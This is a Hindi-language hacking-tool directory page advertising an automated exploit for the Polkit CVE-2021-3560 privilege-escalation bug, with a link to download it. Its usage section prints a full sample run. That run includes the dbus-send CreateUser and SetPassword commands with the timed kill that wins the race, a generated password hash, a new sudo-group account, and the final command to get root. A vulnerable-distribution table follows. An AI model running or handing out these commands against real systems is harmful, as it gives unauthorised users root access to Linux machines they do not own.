Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
polkit-auto-exploit — Polkit CVE-2021-3560 के लिए स्वचालित शोषण PoC | Kitploit
उपकरण/GitHubGitHub/aancw/polkit-auto-exploit
प्रमाणीकरण और प्राधिकरणविशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंग
GitHubaancw/polkit-auto-exploit

polkit-auto-exploit

Polkit CVE-2021-3560 के लिए स्वचालित शोषण PoC

रिपॉजिटरी देखें
54 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

polkit-auto-exploit

Polkit CVE-2021-3560 के लिए स्वचालित शोषण PoC

सारांश

CVE-2021-3560, polkit पर एक प्रमाणीकरण बायपास है, जो अविशेषाधिकार प्राप्त उपयोगकर्ता को DBus के माध्यम से विशेषाधिकार प्राप्त विधियों को कॉल करने की अनुमति देता है। इस एक्सप्लॉइट में हम accountsservice द्वारा प्रदान की गई 2 विशेषाधिकार प्राप्त विधियों (CreateUser और SetPassword) को कॉल करेंगे, जो हमें एक विशेषाधिकार प्राप्त उपयोगकर्ता बनाने, फिर उसके लिए पासवर्ड सेट करने और अंत में उस उपयोगकर्ता के रूप में लॉगिन करके रूट तक पहुंचने की अनुमति देता है। https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

उपयोग

root@kitploit:~
ubuntu@ubuntu2004:~/polkit-auto-exploit$ ./polkit-auto-exploit -u adminhs -p admin1 -f admin
[===] Auto Exploitation PoC for Polkit CVE-2021-3560 by Petruknisme [===]
[+] Current User: ubuntu
[+] Variable for Polkit Configuration
[*] Username : adminhs
[*] Password : admin1
[*] Fullname : admin
[+] Sending create user command to determine time execution
[*] Execution time: 0.018076ms
[+] Time to killing dbus-send setting to 0.009038ms
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:adminhs string:'admin' int32:1 & sleep 0.009038s ; kill $!
..................
[+] GOTCHAAA! User adminhs is created with sudo member group
[+] Getting UID from user: 1015
[+] Creating password with OpenSSL
$5$wwCpZi2.onsiKa6b$B/OovlhfvFWs65EdYnk/1sL.sYSzfPXd1s6ZpurHNr0
[+] Triggering polkit to create password for adminhs
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1015 org.freedesktop.Accounts.User.SetPassword string:'$5$wwCpZi2.onsiKa6b$B/OovlhfvFWs65EdYnk/1sL.sYSzfPXd1s6ZpurHNr0' string:admin & sleep 0.009038s ; kill $!
Failed to execute command: echo admin1 | su -c id adminhs
uid=1015(adminhs) gid=1015(adminhs) groups=1015(adminhs),27(sudo)

[+] GOTCHAAA! Success login with User adminhs & password: admin1
[+] You can login to root using su with user and password created before: su -c 'sudo su' adminhs

परीक्षण किया गया

  • Ubuntu 20.04(policykit-1/focal,now 0.105-26ubuntu1)

जानकारी

कोई भी सिस्टम जिसमें polkit संस्करण 0.113 (या बाद का) स्थापित है, असुरक्षित है। इसमें लोकप्रिय वितरण शामिल हैं, जैसे कि RHEL 8 जिसमें polkit संस्करण 0.115 है और Ubuntu 20.04 जिसमें polkit संस्करण 0-105-26 है (polkit का Debian फोर्क)।

असुरक्षित वितरण

लाइसेंस

MIT लाइसेंस

टूल डाउनलोड करें
वितरणअसुरक्षित?
RHEL 7नहीं
RHEL 8 हाँ
Fedora 20 (या पहले)नहीं
Fedora 21 (या बाद में) हाँ
Debian 10 (“buster”)नहीं
Debian testing (“bullseye”) हाँ
Ubuntu 18.04नहीं
Ubuntu 20.04 हाँ